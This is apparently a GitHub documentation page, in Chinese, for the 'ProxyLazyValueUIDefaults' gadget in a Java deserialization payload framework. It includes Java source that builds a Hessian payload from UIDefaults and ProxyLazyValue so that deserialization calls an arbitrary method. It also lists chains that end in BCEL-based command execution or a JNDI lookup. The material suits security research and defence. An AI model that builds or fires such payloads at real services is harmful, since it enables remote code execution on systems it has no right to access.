Skip to content

Latest commit

 

History

History
55 lines (46 loc) · 4.79 KB

File metadata and controls

55 lines (46 loc) · 4.79 KB

加载LazyValue相关链(ProxyLazyValueUIDefaults)

  • 类别:hessian 别名:— 优先级:10
  • 作者:—
  • 依赖jdk(仅需 JDK 内置类,无第三方依赖)

作用

利用 javax.swing.UIDefaults.ProxyLazyValue 的「延迟求值」语义,在 Hessian 反序列化触发的 UIDefaults 比较/取值过程中,通过反射调用任意类的任意静态/构造方法className.methodName(params))。它是一个「反射方法调用」入口跳板,其后由 LazyValueChain 类型的 gadget 提供真正要调用的 [className, methodName, params] 三元组。

链接标签

  • 入口 tagsHessianDeserialize —— 承接 Hessian 反序列化入口(UIDefaults 在 Hessian 反序列化时会触发其内部键值的解析求值)。
  • 衔接 nextTagsLazyValueChain —— 之后必须接一个提供 Object[]{className, methodName, params} 的 gadget(如 LazyValueWithBcelLazyValueWithJNDILazyValueWithXxx 系列),由它决定实际反射调用的目标方法。
  • excludes:无。

源码剖析

public Object getObject(String className, String methodName, Object[] params) throws Exception {
    UIDefaults.ProxyLazyValue proxyLazyValue = new UIDefaults.ProxyLazyValue(className, methodName, params);
    Reflections.setFieldValue(proxyLazyValue, "acc", null);   // 清空 AccessControlContext,避免带上受限权限
    UIDefaults u1 = new UIDefaults();
    UIDefaults u2 = new UIDefaults();
    u1.put("aaa", proxyLazyValue);
    u2.put("aaa", proxyLazyValue);
    return PayloadHelper.makeMap(u1, u2);
}

关键点逐段解释:

  • UIDefaults.ProxyLazyValue(className, methodName, params) 封装了一个「懒加载值」:当有人调用其 createValue(table) 时,它会通过反射执行 className 类的 methodName 方法(静态方法或构造器),参数为 params。这就是「调用任意类任意方法」的能力来源。
  • Reflections.setFieldValue(proxyLazyValue, "acc", null)ProxyLazyValue 内保存的 AccessControlContext(字段 acc)置空。序列化时若带上原始的受限 acc,反射调用可能受安全上下文约束;置 null 后按调用方权限执行,规避潜在的权限问题。
  • 把同一个 proxyLazyValue 放入两个 UIDefaults(键均为 "aaa"),再用 PayloadHelper.makeMap(u1, u2) 组成一个「双元素 Map(借 hashCode 碰撞/键相等触发比较)」结构。反序列化 Hessian 还原该 Map 时,会对键做 equals/hashCode 或取值,进而触发 UIDefaults.getProxyLazyValue.createValue求值即调用目标方法makeMap 是本项目常用的「双对象 Map,使反序列化时触发比较从而调用 getter/求值」的封装手法(与 CommonsBeanutils 中 PriorityQueue 同族思路)。
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    Object[] objects = (Object[])chain.doCreate(context);            // 内层 gadget 产出 [className, methodName, params]
    return this.getObject((String)objects[0], (String)objects[1], (Object[])objects[2]);
}

invokechain.doCreate 取得下游(LazyValueChain)产出的三元组数组,拆包为 className/methodName/params 后交给 getObject。因此本 gadget 自身不决定执行什么,具体反射目标完全由下游 LazyValueWithXxx 注入——例如 BCEL 类加载、JNDI 查询、URLClassLoader 等。

参数(@Param)

本类无 @Param。反射目标(className/methodName/params)由下游 LazyValueChain gadget 提供。

适用版本与原理要点

  • 仅依赖 JDK 内置的 javax.swing.UIDefaults.ProxyLazyValuedependencies=jdk,无需第三方库。
  • ProxyLazyValue 的「延迟求值」是 RCE 载体的核心;需目标 JVM 允许 Hessian 反序列化还原 UIDefaults(Swing 类),并能反射加载/执行目标方法。
  • ProxyLazyValueXString 同源(同样封装 ProxyLazyValue),区别在触发外壳:本类用 UIDefaults + makeMapProxyLazyValueXStringXStringForFSB/AudioFileFormat$Type/Rdn$RdnEntry 的 TreeSet 比较路径触发。

所属预设链

  • JDK原生BCEL链[ProxyLazyValueUIDefaults, LazyValueWithBcel, BcelConvert, BytecodeConvert, Exec]
  • JDK原生JNDI链[ProxyLazyValueUIDefaults, LazyValueWithJNDI]

关联